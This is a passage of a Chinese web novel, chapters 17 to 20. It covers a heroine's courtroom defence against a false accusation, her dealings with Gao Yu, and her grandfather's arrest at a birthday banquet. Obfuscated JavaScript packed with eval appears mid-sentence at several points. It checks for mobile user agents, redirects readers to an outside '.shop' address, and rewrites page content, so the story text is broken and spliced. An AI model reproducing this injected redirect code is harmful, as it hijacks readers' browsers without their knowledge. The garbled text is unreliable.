他的笑容常常宽和,像春风拂过雪原,出于身世遭遇的缘故,又带一些赛雪欺霜的凉。 展青站在榆树下,这就想起浓稠夜幕里,他也是噙着这样的笑下“驱逐令”,给他鞍前马后的伴驾收出结尾。 “你透支假期护我回宣州,这一趟奔波,所谓恩情已经还清,我的路还很长,我想我能自己走完,同样的,你的前途也不止于此。展青,回司衙去,我已写信向王尊使澄清,回去以后,你就在睦州好好生活。” 昨夜他们一通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江涣臣爱惜仕途,不可能把坏事做绝,更何况审官这边,能许的通融都默许了,冯承纲自信打点好一切,出了衙堂没直接离开,到寅恭门外的榜房里等消息。 听榜房的人说,江涣臣瞒着家里,只带了小厮过讼堂,冯承纲轻哼一声,暗道“算他知羞知耻”。 衙堂角门后,有衙吏悄悄送出东西,走到冯家人这边说了些什么。 郡丞拍响惊堂木,冯筝稳稳走上前,前阵子跪也跪过了,无所谓去矫情些什么,谁料眼前一晃,蒲团递到了腿边。 高豫颔首示宽,施施然让开主场。 料想昨晚蘅娘所说,郡衙的“通融”就在这里了,冯筝准备礼跪,双膝刚刚抵住柔软,突然就觉得自己糊涂。 高豫从刑部狱京部衙全身而退,她若有点先见之明,请他传授刑辩经验,岂不比麻烦阿伯抹开面子,求一点小恩小惠的通融更有胜算? 蒲团绵软,替她减轻了跪姿的苦,这样区别对待,江涣臣倒没置喙什么,小厮却先站出来挑刺。 堂前昭雪二字的匾额锃亮,冯筝睫羽振振,赶在小厮张口之前,一把抓住了高豫手腕。 话虽然是对高豫所说,眼神却直面堂前审官。 “三郎君,还请帮我把蒲团归还。我受苦事小,若让我的破例,影响刑律威信,影响律法公正严明,让它惩奸除恶时有失偏颇,莫说我会难过,外面的百姓也绝不会放过。” 满堂俱静,郡丞望着她的眼神一点点凝实,陪审官暗暗端正起仪态,典史官腰背不酸了,蹭在桌腿的靴足也不痒了,江涣臣拧眉望过来,却无端开始惴惴不安。 18. 第18章 高豫回握她的手把她拉起,动作自然流畅,和她拽住他的举动无缝衔接,连解释的话都显得有点多余。 说多余是不可能的,审堂重地,没人有闲情讲多余的话。 她拒绝蒲团带来的通融,眼神既惭愧又坚韧,流露出一抹淡淡的威胁,堂官们听进耳朵里,反应都有些精彩纷呈。 江涣臣眼缝微眯,刚把注意力从他们短暂交握的手上挪开,就听到郡丞重新拍响惊堂木升堂。 高豫带回蒲团,两列杖官杵仗捍威。一遍例行验问以后,经过郡丞授意,冯筝把起因简明扼要地描述了一遍,告发江涣臣逼良为妾未遂之事。 云雀出面指证,掐算出时间段道,“我家姑娘那段时间,就是和江郎君待在一块儿。” “他请我家姑娘给他送行,姑娘跟过去后,就和他们停在绫桥下的马车一起消失了。奴婢起先没有多想,只当姑娘去去就回,再见到姑娘的时候她就已经在郡衙了。姑娘从不登外男马车,一定受了他的诓骗和逼迫。” 江涣臣冷静回答,“大人容禀,我请冯姑娘送行,期间既无诓骗也无逼迫。当晚我启程归归京,冯姑娘临别恻隐,我邀她登车,她便没有拒绝。我捎她一段路程,跟她商量好出城的时刻就互相作别,所以婢女的推断不能采信。” 他的粉饰太平,和当初手段强硬,连刺配三千里都在嘴里举重若轻的样子相去甚远,冯筝面若寒霜,江涣臣口风一转。 “错就错在叙旧的时候,我对冯姑娘说话稍显轻浮,以至于让她误解,所以归根结底这就是一场误会而已,望姑娘宽恕。” 他欲将此案轻飘飘揭过,冯筝转来眸光,有些后悔被捂进马车时,没能挠花他的脸留下证据。 郡丞问她还有言否,她平静道,“没有了。” 云雀惊慌:“姑娘!” 郡丞挽袖敲桌,以疑案定性,逼良为妾案就此搁置,江涣臣即刻叩首,洋洋洒洒一段话,把禁图案正式掷到了明面。 “关于藏题图中的门道,我递交状纸时便已说明。” “大人可能不记得,冯家有位特殊的姻亲,因为右相的贿通罪满门没落。冯姑娘自诩聪明,编出藏题图,利诱樊楼挂出,又引诱在场的儒生们竞答,把此类罪臣的复职路预演一遍,一则试探舆情,二则想让儒生们潜移默化,不知不觉中接受这种结果,意图很明显。” “她在抛出敲门砖,给她高氏姻亲的起复路铺路。” 江涣臣胸膛起伏,看向冯筝的眼神意味深长,也就没注意到,满堂气氛略微古怪。 郡衙接见过钦差,对高豫的身份一清二楚。江涣臣说这些话时,审官目不斜视,不曾朝高豫投过去一眼,冯筝心至慧生,便也默契地没有回望。 她低垂臻首,一缕笑意转瞬即逝,云雀却按捺不住,抽空偷偷瞟了眼身后。 高豫面无表情,等待江涣臣持续输出,看上去比姑娘还要心宽。 “可惜结果适得其反。”江涣臣继续拱火,“据我小厮所见,当晚冯姑娘出现在樊楼,她暗中观察,没想到意外被人搅局,她粉饰污吏的意图被揭穿,非但没有成功,反而招惹了众怒。” “她慌张逃走后被我撞见,所以就有了后来的事。我假借送行的由头稳住她,打算悄悄把她押送官府,至于叙旧的时候,我稍显轻浮,也不过是为了打消她的疑虑才勉强为之,请大人明察。” 话音甫落,冯筝大喊冤枉,云雀吓一跳,回过神来,也跟着附和喊冤。 郡丞发问,“你说他冤枉你,那么本官问你,遇见江涣臣以前,你在哪里?” “在樊楼。” 郡丞又问:“那江涣臣的陈词你觉得对吗?” “不对。” 冯筝微微踌躇,“比如说,没有自诩聪明,我觉得我确实聪慧过人。” “姑娘!” 云雀面色涨红,提醒姑娘快快解释,哪怕不能立刻昭雪,气势上也绝对不能输。她不懂审官到底怎么回事,姑娘说话的时候他全程沉默,轮到江涣臣状告,反倒站在他的立场帮他诘问。 审官偏私,通融全部白瞎,云雀急得出汗,若不是她嘴笨就替她说了。 “姑娘快解释!” 冯筝仰眸,“他全篇都在诬陷。” 然后半扭身子,认真看着他道,“你既能瞎说小厮看到我慌张逃出,我也可以假称我的婢女看到你强行绑我,扯这些谎没有意思。” “你掳我侍奉枕席的账还没算完,先不跟你计较这些。江涣臣,你在云端坐久了,也被利禄蒙蔽了心,制图者许了你什么好处,令你这样着急给他找替罪羊?” 冯筝垂眸,捏着裙摆的指腹通红,动作看似羞恼,实则在费劲回忆高豫的措辞。 “你既说藏题图的答案在粉饰污吏,就更应该清楚,朝廷对贪墨之举容忍底线极低,哪怕有意赦免谁,也绝非仕人所能姑息。” “这样一场属于污点功臣的翻身仗,藏着掖着进行还好,我把图挂出来招摇示众,不但不能给高姻亲的起复路铺路,反而会害得高姻亲被捅成筛子。” “所以,说试探舆情有悖于常理,利用舆情还现实些呢,制图者利用舆情煽动民愤,便可以把高姻亲的起复路彻底堵死。” 冯筝眼尾微红,声音近似哽咽,“而我跟高姻亲无仇无怨,怎么会对他们这样残酷?” 哪怕听上去就要垂泫欲泣,也没有要落泪的模样。早起的疲倦感不合时宜地漫过四肢,她强打精神,给沉默下去的青年收尾。 “你的推断全被我颠覆,事已至此,还要否认诬陷我吗?” 小厮催促郎君回答,江涣臣稍稍梳理了下思绪,一道惊堂木的响动猝不及防插进来。 “江涣臣,你和樊楼董余昉的交易是否属实?” 江涣臣眼瞳微动。 “是。” “本官问你,冯姑娘的辩解你有异议吗。” “……没有。” 小厮惊慌,露出片刻前和云雀一样的神情,本以为还会有转圜的余地,却亲眼看到郡丞挥袖,把衙门掌握的证据一股脑抛出。 “经查证,江氏蓄意栽赃罪证属实,来人,夹刑伺候!” 江涣臣骤然抬头,方才还秩序井然的讼堂,立刻就被杖官包抄,小厮没见过这种世面,骇得溜回去禀告夫人。 官司至此告一段落,讼堂变成刑堂。江涣臣重新被摁跪,刑堂衙役穿梭,挡住喑哑闷痛声,挡住他所有失态和隐忍。 冯筝打着晃站起来,双腿麻痹得好像不是自己的,先于失重感到来的是握在胳膊上温暖的手。 高豫把她横抱起来,快步送往衙堂静室。 “还没签字画押呢。” 自从她哽咽讲出“残酷”一词,高豫便仔细盯着她的背影很久。 此刻被高豫抱在怀中,她既觉得他小题大做,又不好意思拂他好意,便驾轻就熟靠歪了脑袋。 高豫长眸微敛,猜得到她可能跪伤了腿,想不到这时候她还记挂这些,轻笑宽慰。 “没关系,他们会安排的。” 吴嬷赶到郡衙的时候,正好撞上这样的情景,她惊叫一声,差点吓晕,“这是动刑了?” 云雀扶稳她并解释道,“没对姑娘用刑,受刑的还在衙堂里呢。” 衙堂两侧的静室,本是给无需进牢狱的轻刑犯临时搁置所设,此刻被他们一行人借用。冯筝坐在短榻上,吴嬷接替高豫上前,掀起她的衣裙堆到膝弯,想起高郎君在场又险险收手。 发现高豫回避出去,吴嬷准备查看伤势,冯筝阻止了她,“只是腿麻,缓一缓就能走动了,阿姆,咱等一等阿伯再离开吧。” 吴嬷点头称好,“差点忘了,郡大人给咱许了通融,蒲团被大夫人塞满了棉絮,昨晚便悄悄送进了衙门,姑娘没受罪才对。” 云雀嗫嚅欲语,看到冯筝摇摇头,只好咽进肚子里。 衙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935095|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂另一侧的静室里,江涣臣受过夹刑的手酸痛肿胀,被宽幅的袖摆遮掩住。他撑起手肘勉强动身,撞上一道声音,轻蔑又突然。 “如果你还指望着董余昉站出来替你翻供的话,江奉礼,想想如何挺过一会儿的杖刑更理智些。” 门前来者不善,一身粗布袍素得清冷。哪怕清楚诬告罪依律还要施杖刑,应该留足力气应对,江涣臣还是撑起了胳膊反问。 “什么意思?” 高豫言简意赅,“今日寅时,学事司已经先官府一步把董余昉提走,否则这种重要人证,衙门如何都得传他出堂。官府之间的暗斗不是我考虑的事,总之我没猜错的话,藏题图的制作者,至少出自部堂三司。” 江涣臣闻言暗暗坐正,阴恻恻的眼神出卖了他的紧张,却闻高豫突然松口,让他有些应对不及。 “我不耽误你领受杖刑,就不问他姓甚名谁了。站在冯姻亲的立场上,我和他们一样,希望这场官司到此为止,考虑到你未必肯答应,有必要提醒你一些事情。” 高豫站在门前,始终未曾踏进来半步,哪怕没有多余的表情,江涣臣也懂得,这是一种嫌恶的体现。 “你受制图人的托付把图挂出,之后种种都是个人行径。你挟私报复冯筝,顺便借用辱蔑朝纲的话柄,拿她替罪背锅,莫要以为此人就会对你感恩戴德。” “知不知道他为何选在宣城设局?” 江涣臣闻言突然笑了,他一整夜待在书房,通宵达旦的功夫,够他想通症结了。 薛侍郎之所以在宣城设局,一则两个月前,冯高两家刚结姻亲,在这里,关于高家的谈资尚算新鲜,百姓记忆犹新,容易因污点功臣联想到对方。 二则,冯筝的辩解犹言在耳,指向一道功荫罪裔的先例。宣城名儒众多,儒生笔墨喉舌最不饶让,方便他利用舆情废黜恩典,废黜这道恩荫罪裔的恩典,把高家嗣的起复路彻底堵死。 江涣臣不在意,“这跟我有什么关系?” 高豫默立,睫羽掩去眼底变换的神色,化用冯筝的话,还他以迎头痛击。 “你在云端坐久了,也被功利蒙蔽了眼。别以为还能邀功请赏。你为了一己私欲把水搅浑,导致舆情的关注点主次颠倒,现在,百姓都忙着追究制图者来历,疏于纠缠‘功荫罪裔’。你让他无法利用舆情推波助澜,无法逼迫朝廷废弛这恩典,试问他到底会对你感恩戴德,还是会因为你坏了他的计划,大发雷霆?” 高豫吐字清晰,抽丝剥茧的推断让江涣臣狠狠攥住了掌心。 袖幅里的手指隐隐作痛,那种哪怕有伤药医治,也很长一段时间提不动笔的怨怒,让他忽略掉衙门外那群儒生的攻势,忽略掉被他说中的事实。 江涣臣稳住自己,“少吓唬我,事涉学事司要员,郡衙可打算轻拿轻放。” 强词夺理的回答,迎来高豫挑眸侧目,眼神满是不可理喻。 “轻拿轻放?” “郡衙以上还有府台,事关朝纲,郡衙得请府台示下,此案一旦报到州府一级,由司理院接审,首先就是追究制图者的错,谁来给你轻拿轻放?” 州府级,司理院……江涣臣突然流露出惊惶,一种惹上麻烦的忧惧感席卷了他,隐在袖底的手微微震颤。 刑堂的杖官来提人上刑,高豫慢条斯理让开了道,有衙役手捧笔录纸找冯筝捺印,高豫颇为和善地带路。 屋里,吴嬷得知姑娘险胜,这就笑逐颜开,闲聊的声音飘出来,顺着走廊钻进途中人耳朵。 “姑娘能险胜,多亏郡丞大人当机立断,还有大爷替你打点的一切。□□说他远途寂寞,你好心送他一程,结果就引来这些祸事,由此可以悟出个道理,对男人慈悲会倒霉。” “姑娘应该痛定思痛,以后莫要轻信男人的谎话。” 按在门框上的手顿时僵了僵,高豫停滞住。 沿途莫名被阴阳到的衙役们,脸色也跟着一阵青黑。 19. 第19章 短短两个时辰,冯承琨在塾馆讲错了诗篇,冯承纲在榜房喝坏了茶水。孟秋在膳堂煎熬小半天,满满做了一笼屉糕点,终于等来了郡衙传来的好消息。 榜房的银毫茶微微霉变,冯承纲回府后用了催吐的药,歇息片刻后出现,倒比昨日跟郡丞周旋一整天还要憔悴。 午时膳堂摆膳,加上盛情难却,顺便回来探望的高豫,一屋子的人满满当当,其乐融融。 闺房中,冯筝从药罐里挖出药膏,抹在掌心搓热,按在膝盖上缓解酸痛。淤青沉淀后变得青紫,痕迹丑陋,刺得她眼睛不痛快地眨了一下。 膳堂那边来催用膳,她整理好衣裳,到膳堂以前兜了一圈风,让身上草药味散得清淡一点。 膳堂还未满座,高家姐弟之间间隔宽裕,她顺理成章地插进去,抚好裙身便接过高豫递来的碗筷。 说来微妙,像是料到她会临他而坐,他递碗筷的动作纯熟又自然。 他原则上说两清,不该与包括高蘅在内的冯家来往密切,但观他和这其乐融融的环境挺适配的模样,她突然就觉得,他的原则,好像也不是那么牢不可破。 按理说,冯筝在衙堂配合完一切,只等收到判书就能结案,至于禁图相关之事,郡衙要如何写奏牒上报,已经不是他们百姓该考虑的事。 冯承琨担忧官司还有后续,冯承纲劝道,“二弟放心,郡衙的大人们刚刚说了,江涣臣已经服判画押,他签得果断,没有再翻供或者追诉的可能。现在啊,只诬告这一桩罪,就够他消受好一阵了。” 二房夫妇这就放了心,听在冯筝耳中,疑惑的念头刚刚冒头又被按下。 她可不觉得江涣臣是醒悟了良知,他签字画押,顶多是权衡利害的结果罢了。 她自行扯圆,静静吃饭,清淡的草药香钻进身边人鼻腔,高豫应答冯公寒暄,席间偶尔偏来一眼。 冯公跟高豫寒暄,得知他如今的生计,靠做西席先生谋生,不禁打趣说,眼下自己左右两侧,公塾私塾的先生竟都有了。 冯承琨沉默以对,哪怕知道胡祯和高三郎关系密切,也没把他的去处往碧城胡家那处想。 衙堂的事情他都听说了。对于二房来说,这亲缘关系弯弯绕绕的妻舅,都有空过讼堂给女儿撑腰,她这亲爹反而缺席,哪怕情况被迫,也让他面皮有些挂不住颜面。 桂鱼鲜嫩,是当季难得的家常菜,冯筝趁他们说话的间隙,挑起公筷给三郎君夹了一筷子。 高豫声音微顿,哪怕依然客套寒暄,却已然有了应对的动作。他一手护在碗壁,似乎不太建议她这么做,又像在提醒她注意避嫌。 这么一挡可不好,冯筝兴致可就来了,黄焖鱼翅,清炖肥鸭,蒜蓉燕菜……统统给他夹了个遍,演活了热情好客的主人家模样。高豫是什么反应她短暂不知,孟夫人的眼神就先剜了过来。 微皱的眼睑让她斜睨过来时,带着一抹威压,教诲她莫要失礼失当,她险些玩脱,这就雨露均沾,一样给身边的伯娘夹菜。 满桌荤素搭配,高蘅却只吃粥茹素。猜到她大概不喜荤腥,她就循着高蘅的口味,给她夹些时蔬,这就发现满座皆忙碌,唯独伯娘有些心不在焉。 高蘅醒过神来,对冯筝的好意一一笑纳,碗里满得快要填不下豆羹,还是冯承纲反应快,把自己的碗也借过去,方便侄女给妻子把菜添完。 伯慈女孝的画面前,冯公意动地笑起来,话题跑偏,“好不容易盼到长房成婚,你们也是时候开枝散叶了,以后再逢家宴,就不怕没有儿女孝敬了。” 高蘅措手不及,腼腆应答,冯承纲替妻子揽过话题,强按尴尬而从容道,“时日尚早,孩子的事情不着急。” 二房夫妇安静用饭,生怕催生的话波及自己身上,当下晚辈还在,冯公懂得适可而止,唤手边的福登给自己盛汤。 午膳没持续太久。 长房跨院,堂庭洒扫后前门大开,高豫穿进西南侧的拱门,堂屋里,高家姐弟相顾无言。 距离香积山之行已过去半月,她自我宽愈了一段时间,本来已经做好了他会自此音讯全无的准备,没想到短时间还能再见到他。 寂静在堂屋蔓延,高蘅笑着道,“你今天胃口很好。” 没头没尾的一句话,就算是再相遇时的问候语了,高豫没理会其中深意,定定坐下来道,“你的胃口不太好。” 能和亲人再会,高蘅当然是欣喜且快慰的。 她含笑遮掩愁绪,目光向远处的杏花树抬动,不由得想起曾经的风光。 那些官宦眷属们,都说高三郎是右相膝下最有能耐的一脉,哪怕在遍地年轻栋梁的太学院,他也鲜有逊色的时候。 然而兄弟二人,唯他跟父亲关系疏离。 长兄患有腿疾,常年陪父亲守家,父亲常带他出席宫宴,想替他寻个好妻室,弥补他抱有缺憾的一生。 后来两相政见不合,父亲忙于经营算计,渐渐变得冷漠孤傲,导致他和家眷的交集越来越少,这个走向,从他刻薄寡恩的声名便可窥得一斑。 她跟长兄素来亲厚,曾经听长兄提起过,高豫在睦州履职艰辛,如今高豫落魄飘零,回司衙致仕,往返期间经历过什么,又饱受多少奚落嘲讽,高蘅蒙受高豫搭救,不可能没有一点歉疚。 现如今丧绦已解,缟素已除,如果他真的打算安定下来,高蘅尊重他的选择,如果这只是一时权宜,她也盼望他诸事顺利。 但在此之前,她没法对高振不闻不问。 高蘅双手握帕,再度提起此事,难免凄楚哽咽,“儋州孤悬海外,闭塞落后,自古便是蛮荒瘴炎之地,死囚流放之所,流刑下判已经半年有余,长兄他流放边地,也不知如今在受哪般的苦。” 她看向高豫,只这一眼,愁绪和哀思也有了寄托。 “三郎,你可有法子救他?” 堂庭当风,高豫静静望着她,麻胚布的袖料被掀起一角,身后杏花瓣飘零一地,高豫未露出难色,却一语点到关要。 “大夫人,高豫如今,一介微末之身而已。” 这便是回绝的意思了。 高蘅怔了怔,借这无能回绝,忽然细致端详起这位常年离家的三弟。 高家子嗣有二,在她印象里,长兄性情良善,高豫有着与他如出一辙的宽和,行事作风,却与父亲一脉相承,透着一股刚毅决绝。 她哪里肯放弃,招手示意仆妇,接过一个妆奁大小的椟盒,高蘅轻抚椟盒,“这是我攒了半辈子的嫁妆银,送去儋州疏通疏通,多少能让他不那么辛苦……” 高豫转身要走,那不是暂时撤离谈话的姿态,而是一走就不会回头的告别,高蘅慌忙跟上,扶住门框喊出了心声。 “我知道,你有你的打算和筹谋,你存心疏远我,乃是盼我远离朝堂纷纭,让我好好在冯家过活。可是高振是我嫡亲的兄长,我已经没有了父亲,难道你真的这样薄情,不容我惦记一下亲兄弟吗?” 耳畔高蘅歇斯底里,高豫止步庭院前,望着满树杏白,好像被困扰住,残花堆在脚面,像极了去年飘进狱窗的雪,让他忽然有点物伤其类。 困在诰狱的那段时间,再难捱也捱过来了,然而更难的却远没有结束。观察司压着他连年的俸禄,他昭雪出狱后,尝过拮据的滋味,也曾经为生计发愁。 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“你的银钱你仔细收好,比起你的嫁妆银,用我的俸钱更合适些。虽然我已经没了官籍,但是历年的俸禄还算可观。有的事情你勉强也要做,我这个做兄弟的,自然没有总拒绝的道理。” 高豫能答应,那必定是办法的。 高蘅惊喜,知道这是答应往儋州那边疏通关系了,这就张罗仆妇们把他请进来落座,那抹从膳堂一直牵动的愁绪,也终于从她脸上散去。 冯筝从膳堂里出来,带着糕点,准备送去给各院落尝鲜。 片刻前孟夫人微微透露,换庚帖的事情眼看就近了。想到出阁后待在家的时间不多,她便在各院勤加走动,顺便跟母亲和伯娘联络感情。 漆色的食盒挎在腕间,支腿迈进长房跨院,她这样到来,就没料到前来探亲的人尚且还未离开。 屋里簌簌细语,高蘅有意将先前悲伤的话题揭过,想起饭桌上替自己夹菜的姑娘,想起府里孙辈单薄,以及冯公敲打的话,她捂着手帕轻咳了一声,讲出自己的疑惑。 “我听孟夫人说,筝娘已经及笄两年,我看她性格纯良难挑差错,不知为何迟迟未听闻定亲。” 她出阁得晚,最清楚闲言碎语的苦。二房和碧城胡郎的事情,胡祯来保媒的时候,她陪丈夫外出祭洒,加之二房有意隐瞒,所以暂时还不知道冯筝出阁在即的事。 高蘅想了想,从学识到家世,把闺阁女子能被夫家挑剔的点一一带过,捋完只剩下一个方面,“——依你看,筝娘样貌如何?” 她欲探究筝娘在男儿郎眼中普遍的印象,然而问完就觉得不妥。 这话跟寻常宅眷讲没有错,问到三郎跟前却不合适,好在按照他的稳妥谨慎,高豫不会搭腔,这话过去也就过去了。 哪里料到,高豫交握双手,并没有她想象中那般避讳。 “冯姑娘芙蓉面,藕荷相,在我浅薄见过的人里能轻松折得蟾桂。” 他含笑往后靠了靠椅背,散朗舒展的眸光坦荡清白,断绝任何黠昵情思之猜,可高蘅还是禁不住错愕。 冯筝怔在廊道上,顿觉脚步重逾千斤。 被人赞赏总归是件美事,她就默默垂首,把两盒糕饼全部塞给了后脚才跟来的云雀。 冯筝耳畔酡红,不假思索道,“替我拿进去孝敬伯母。” 云雀困惑,提醒她刚刚的打算不是这样,“姑娘不打算自留一些吗?” 疑问声不大,却刚好能传进堂屋里去,冯筝耳根更红得滴血。 她便嗔怪云雀不懂事,“伯母初来宣城,对咱们的熟糕不甚了解,这些本就是孝敬给她尝鲜的,我吃了算怎么回事?” 20. 第20章 庭院里那棵春末就该凋敝的杏树,抓紧又一阵暖意短暂绽放。近来夜里潮湿,城中不少绸布庄,都赶在秋雨到来前赶制棉衣,以借机售卖个好价钱。 然而天不遂人意,这雨来得太快了些。 风雨把砚巷的梧桐树摇得婆娑,冯筝钻出马车,换过鞋袜后蹬进屋里。 银屑炭不起烟,堆在暖笼里烧热,暖融融的春意迎面拂来。冯筝腮颊带笑,拾来绣凳挨近了坐,就着暖意把耳廓搓红。 “府里定的织锦缎和软烟罗,取的是绸布庄里到的新货。掌柜带我翻了账簿,我仔细看了看,这些年我们放在他们那儿的定例钱,差不多也结清了,我便又预支了半年的定金,想着若娘和伯娘都中意这些罗缎的话,回头再商量续定的事。” 她无心遮掩,任谁也看得出她心情颇美。 一连小半个月过去,被赞赏貌美的愉悦逐渐被更惊喜的事情取代,她不会告诉母亲,符家来信称表姑母病体痊愈的事。 三年前她受邀探亲远房亲戚,路过襄阳城,跟随从走散,这就有了被盗匪劫掠的祸事发生,也是自此以后,母亲便对表姑母所在的符家颇有芥蒂。 当年探亲,实则探病,探病的事情因为突逢祸事而不了了之,但她仍记挂着远在淮阳郡的表姑母。三年间偶尔书信互通,听闻表姑母的头疾终于有起色,冯筝感到快慰,不过这些都瞒着母亲没讲。 孟秋问起绸布庄的事,“何绣娘呢?” “上回她过府给你裁制红衣,我提了嘴最好把腰量放宽的事,免得成亲的时候不敢多食,她说改天见到你再比划一顿,她今日没有拦下你吗?” 冯筝笑意凝固,迟钝了下,如同被霜打蔫,挤出一丝勉强的笑,“没有呢。” 然后扭头去瞧墙上装裱的新字画,“祖父最近开始练笔了吗?” 这般转移话题,孟秋没揭她的短,“是啊,这是你祖父的练笔之作,他应一则邀帖,准备出门为前中郎将府上誊写贺序。” “前中郎将家道中兴,曾蒙朝廷赐赠丹书铁券,如今他乞骸骨回乡,正逢过寿,惦记起同门的笔墨,这就请了老太爷去题字。” 这段时日,孟夫人教她查账房,理中馈,冯筝学得有模有样,有时候忙起来,一整天都找不到踪影。 胡家月底就要来验换庚帖,亲事慢慢走上进程。孟夫人愁肠百结,正愁如何传授女儿夫妻纲常,看到她望着字画没出声,不知道在想些什么,就觉得此刻或许是个时机。 冯筝却借称有事,翘掉了一顿体贴话,等人走后,孟夫人吩咐云雀去打探,得知她在翻找有关丹书铁券的记载,忽然沉静了下去。 吴嬷给她捏着肩,“夫人有心事。” 孟夫人没否认。 当初膳席上女儿热情夹菜,孟夫人隐隐看出来,她对高郎君多施照拂。 如果这还不足够说明什么,那么前阵子,她把冯公赠她的笔墨砚块,通通往高蘅院落里捎,点名道姓转交出去,此刻又研究起丹书铁券这种常用来豁免罪责之物,挂念着谁可想而知。 这些都是云雀陆续告诉她的事,孟秋无意打探女儿私事,奈何冯筝做这些时,坦坦荡荡也不遮掩掩。 吴嬷替夫人讲出担忧,“夫人是担心,姑娘待高郎君过于亲近,怕她逾越雷池,跟高家的郎君不清不楚?” 吴嬷说得委婉,就差把暗生情愫这几个字挑明了,孟秋却压根没想到这里,反倒叫吴嬷莫要多虑。 她放松身子,俨然一副信誓旦旦的宽心模样。 “阿筝自小聪慧,绝不会学戏文里那些钟情寒门的官家女没苦硬吃,这一点我对她还是放心的。所以说,但凡她精明一点,与谁亲近都不妨事。” 所谓寒门借指何人,吴嬷哪里听不懂。 高家门第凋零,她倒不多虑姑娘会为了高郎君而悔婚悔亲,哪怕高三郎相貌周正,风度翩翩,她也觉得姑娘轻易交不出芳心。 同时也觉得他们之间,那种不如普通亲眷亲近,又不似陌生人一般疏远的相处方式很合礼数。 这样一琢磨,适才那句“逾越雷池”,那种杜撰情意的事说出来,对姑娘对高郎君就都是折辱。 吴嬷黯然垂眸,夫人轻看寒门,或许个中轻蔑是无意的,但她总觉得,能在举家危难之时挑起担当,如高郎君这般,就应该是个值得被善待的人。 冯公半辈子沉在吏部,留存的典制律籍一应俱全。冯筝翻了翻典籍又很快想通,哪怕真能求得丹书铁券,帝王御批已出,高豫的庶籍也不会改变。 她给祖父的书房落锁后走出,不知道自己对高豫的照拂心,险些被阿姆曲解成哪样。 前中郎将家远在惠州,祖父去题字的事情她早就知道。 三天前,祖父准备拿他压箱底的茶饼去贺寿,发现茶饼失踪后,以为府里进贼,那副匪夷所思的模样,回想起来仍令她面红。 觊觎这茶饼的人不止她一个,知道它压在哪个箱底的也还有父亲。更何况,前堂招待胡督学等人的茶水,早就清理得连茶渣都不剩了,只要福登不讲,她这招偷梁换柱的手段不怕会败露。 但她不可能让父亲背锅,解释了茶饼被她挪用了的事。 既然三年前的恩情不便声张,把茶饼赠出去的理由便也不好坦白。当时解释说,她偷偷观赏茶饼的时候,不小心把它摔碎,害怕祖父降罪所以才一直瞒着,出于弥补,就把准备要赔给高豫的衡阳玉交出去,给祖父充当贺礼。 虽然没见过,高豫曾经救她时,赎出去的玉佩是什么样子,但衡阳玉质地温润,用来雕刻玉佩再好不过。 衡阳玉不难寻,改天再让阿姆去市集留意一下就是了。 在绸布庄没见到的何绣娘,隔天就来府中裁衣,经孟夫人提醒,何绣娘重新给她量了量胸腰,带来一摞布料供她挑选。 布匹很多,却满满当当都是红,冯筝挑花了眼,“我还没定亲,做这些是不是早了一点?” 何绣娘好生劝冯筝,“都说好事多磨,早做打算准没错。不说远的,就说附近江府,本来早就定了亲,这会儿才给他们姑娘赶制嫁衣,针脚可不就仓促了些。” 冯筝沉默片刻,猜到她说的是江慧织。 她和江涣臣对簿公堂,两家自此结了怨,她和慧娘,以后可能也不会有来往。 冯筝简单选了两匹,一盏茶结束,一路把何绣娘送出门。凄迷的雨雾把何绣娘的背影渐渐吞没,两侧仆从准备闭门,忽然间,一张熟悉的脸撞到跟前。 触目惊心的红在眼前放大,冯筝怔了怔,一瞬间以为是自己看久了红绸缎所以眼花,赶紧扭头换换视野。 哭腔和惊呼,同时如惊雷炸响。 “姑娘!” “福登!” 庭院风雨飘摇,两房人都聚集在前堂,他们神情紧张,等着只身回来的福登给出个说法。 福登脸色煞白,他滴米未进,日夜兼程赶回府,脸上的血渍已经结痂,分不清是他自己的还是别人的。 “寿宴一开始还好好的,一群自称慎刑司刑差的人出现,突然就围抄喜堂拿人。那前中郎将一头撞在柱子上,顶着血窟窿是生是死还难说,中郎将府上安危不保,宾客们也都被扣下,小的趁乱才逃出来报信。” “那群刑差持有手令,说什么,在洗清逆贼朋党的嫌疑之前不会放人……” 福登害怕极了,“都怪我,没能陪着老太爷落席,老太爷要是有个好歹可怎么办啊?” 冯承琨下颌绷紧,“父亲没让你跟着,肯定有他的用意,现在自责也于事无补。父亲无辜受牵连,想想办法,叫那边松手放人才要紧。” 两房忙着搭救冯公,一起商讨主意,却一时都有些束手无策,只因慎刑司架空刑部,权柄远超地方,他们的手伸得再远,也触碰不到慎刑司去。 一群人焦躁又无措,冯筝满脸担忧,不期然看到,伯娘的脸色恍惚间变了变。 高蘅回到院落,在房中吩咐仆妇往城郊走一趟。 高豫在城郊劳亭以南租赁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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高蘅望向窗外,脸上浮现出担忧和酸楚,府门前,冯筝扯出笠帽,一头扎进了雨幕之中。 砚巷的梧桐树随风摇曳,她一顶笠帽一件蓑衣,摸进了城郊劳亭以南的那间屋舍。 这间屋舍的概貌,早就听高蘅描述过,租主老妪是个哑巴,在隔院观雨,听她说姓冯后便摸出钥匙,拄着拐杖回去睡下。 之所以猜回去睡下,只因潜意识已经察觉到天黑。从府宅冒雨闯到这里,脚程大概一个时辰,很难想象平时这副拖累她的身体,此时竟也没觉得疲惫。 